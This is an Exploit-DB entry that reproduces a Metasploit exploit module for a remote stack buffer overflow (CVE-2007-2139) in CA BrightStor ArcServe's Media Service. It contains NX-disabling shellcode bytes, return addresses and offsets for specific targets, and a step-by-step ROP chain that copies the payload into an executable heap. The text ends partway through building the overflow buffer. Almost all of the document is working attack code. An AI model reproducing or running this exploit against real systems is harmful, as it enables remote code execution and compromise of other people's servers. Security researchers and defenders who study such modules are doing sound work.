Exploit-DB #16413
Description: CA BrightStor ArcServe - Media Service Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: mediasrv_sunrpc.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::SunRPC

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',
			'Description'    => %q{
					This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA
				BrightStor Arcserve. By sending a specially crafted SUNRPC request, an attacker
				can overflow a stack buffer and execute arbitrary code.
			},
			'Author'         => [ 'toto' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2007-2139'],
					[ 'OSVDB', '35326' ],
					[ 'BID', '23635'],
					[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-07-022.html'],
				],
			'Privileged'     => true,
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 0x300,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",
					'Prepend' =>
							# Disable NX on 2k3 to upload data on the stack
							# (service crashes if the stack is switched to the heap)
							"\x64\x8b\x0d\x30\x00\x00\x00"              + # mov ecx, dword ptr fs:[0x30] ; PEB
							"\x83\xb9\xa4\x00\x00\x00\x05"              + # cmp dword ptr [ecx+0xa4], 5  ; MajorVersion == 5
							"\x75\x30"                                  + # jnz after
							"\x83\xb9\xa8\x00\x00\x00\x02"              + # cmp dword ptr [ecx+0xa8], 2  ; MinorVersion == 2
							"\x75\x27"                                  + # jnz after
							"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00"  + # cmp dword ptr [ecx+0xac], 0xece  ; BuildVersion (> SP0)
							"\x76\x1b"                                  + # jbe after
							"\x8d\x89\xa8\x00\x00\x00"                  + # lea ecx, [ecx+0xa8]
							"\xba\x00\x03\xfe\x7f"                      + # mov edx, 0x7ffe0300
							"\xb8\xed\x00\x00\x00"                      + # mov eax, 0xed
							"\x6a\x04"                                  + # push 4
							"\x51"                                      + # push ecx
							"\x6a\x22"                                  + # push 22
							"\x6a\xff"                                  + # push -1
							"\x6a\xff"                                  + # push -1 (padding)
							"\xff\x12",                                   # call dword ptr[edx]
					'StackAdjustment' => -10000,

				},
			'Targets'        =>
				[
					['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ],
					['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ],
					['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],
				],
			'DisclosureDate' => 'Apr 25 2007',
			'DefaultTarget' => 0
		))
	end

	def exploit
		sunrpc_create('tcp', 0x6097e, 1)

		if target.name =~ /NX/
			# summary:
			#
			# 1) get the payload address
			# 2) copy the payload into a fixed buffer (data section)
			# 3) allocate an executable heap buffer (to bypass NX)
			# 4) copy back the payload into the heap
			# 5) jmp to the payload in the heap
			#
			# step 1: jmp arround the atoi pointers
			#
			# add esp, 20h
			# retn
			#
			# step 2: get a pointer to the stack in ecx
			#
			# xor eax, eax
			# mov ecx, dword ptr fs:[0]
			# cmp dword ptr [ecx+4], offset __unwind_handler
			# jnz end
			# [...]
			# end:
			# retn
			#
			# step 3: mov the stack pointer in eax
			#
			# mov eax, ecx
			# add esp, 20h
			# retn
			#
			# step 4: set fffff824h in esi
			#
			# pop esi
			# retn
			#
			# step 5: add esi to eax (eax points to the payload in the stack)
			#
			# add eax, esi
			# pop esi
			# retn
			#
			# step 6: set edi to a buffer we can write (6d515301h)
			#
			# pop edi
			# retn
			#
			# step 7: copy the payload to the buffer
			#
			# push eax
			# push 	edi
			# call _strcpy_0
			# pop ecx
			# pop ecx
			# retn
			#
			# step 8: set ecx to ffffffh
			#
			# pop ecx
			# retn
			#
			# step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)
			#
			# mov eax, ecx
			# add esp, 20h
			# retn
			#
			# step 10: create an executable heap
			#
			# push 0
			# cmp [esp+4+arg_0], eax
			# push 1000h
			# setz al
			# push eax
			# call ds:HeapCreate    ; create a new heap (executable for NX)
			# test eax, eax
			# mov hHeap, eax
			# jz short loc_6d5071b5
			# call ___sbh_heap_init
			# test eax, eax
			# jnz short loc_6d5071b8
			# push hHeap
			# call ds:HeapDestroy
			# loc_6d5071b5:
			# xor eax, eax
			# retn
			# loc_6d5071b8:
			# push 1
			# pop eax
			# retn
			#
			# step 11: Allocate a new heap buffer (size 01060101h)
			#
			# push hHeap
			# call ds:HeapAlloc
			# pop edi
			# pop esi
			# retn
			#
			# step 12: set esi to the buffer containing the payload  (6d515301h)
			#
			# pop esi
			# retn
			#
			# step 13: copy the payload to the heap (executable)
			#
			# push esi
			# push eax
			# call _strcpy_0
			# pop ecx
			# pop ecx
			# pop esi
			# retn
			#
			# step 14: go to the heap
			#
			# call eax
			#
			# step 15:
			# if 2k3 the prepend data disables NX to upload and execute
			# data on the stack
			#
			# step 16: w00t!

			data = Rex::Text.rand_text_alphanumeric(0x600)

			# ret 1
			data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V')

			# used to store the result of atoi
			data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V')
			data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V')